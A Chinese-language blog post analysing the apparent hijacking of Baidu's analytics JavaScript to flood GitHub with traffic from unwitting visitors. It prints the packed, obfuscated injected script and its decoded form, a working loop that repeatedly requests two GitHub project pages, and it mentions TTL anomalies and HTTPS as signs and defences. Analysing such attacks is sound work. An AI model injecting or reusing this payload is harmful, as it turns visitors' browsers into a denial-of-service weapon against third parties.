非中國內地的人想要瀏覽他們的網站,而這網站使用的 javascript 剛好是百度的分析工具 (像 Google Analytics),當我們連線要到大陸一定會通過中國的某個網路設施才能進去,然而這個點偽照了假的 javascript,當我們瀏覽之後反而會把流量都送到 GitHub 去,也就是說全球幾 % 當中的人本來不是要到 GitHub 去的,結果都去瀏覽 GitHub 了,也就會照成 GitHub 流量、頻寬愈來愈高,嚴重的造成部份的人無法連線到 GitHub。
它 分析說這些瀏覽到百度的 JS 的人只有 %1 才會到 GitHub 去,其它的人都是正常情況,而這 1%的人的流量真的就都是被導到 GitHub 的 IP 去 (192.30.252.128-131)
這些被導向的封包長的像這樣子,是經過包裝的
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("\\\\h/5>");!J.K&&l.k("\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
解析出來後長這樣子 (或看這裡)
當中就有兩個連結就是 GitHub 上的
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire", "https://github.com/cn-nytimes"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);
還有透過 ICMP 中的 TTL 也可以清楚知道連線是否已不同了,正常情況都會是 64 的值,ping 的當中突然變成 42 … 還有 227、228、229 的,或其它數值,反而是有問題的了
留言
如果那些網站是強制跑 https 的話,那麼這個中間人攻擊其實就無法生效了,JS 也是加密的內容改不了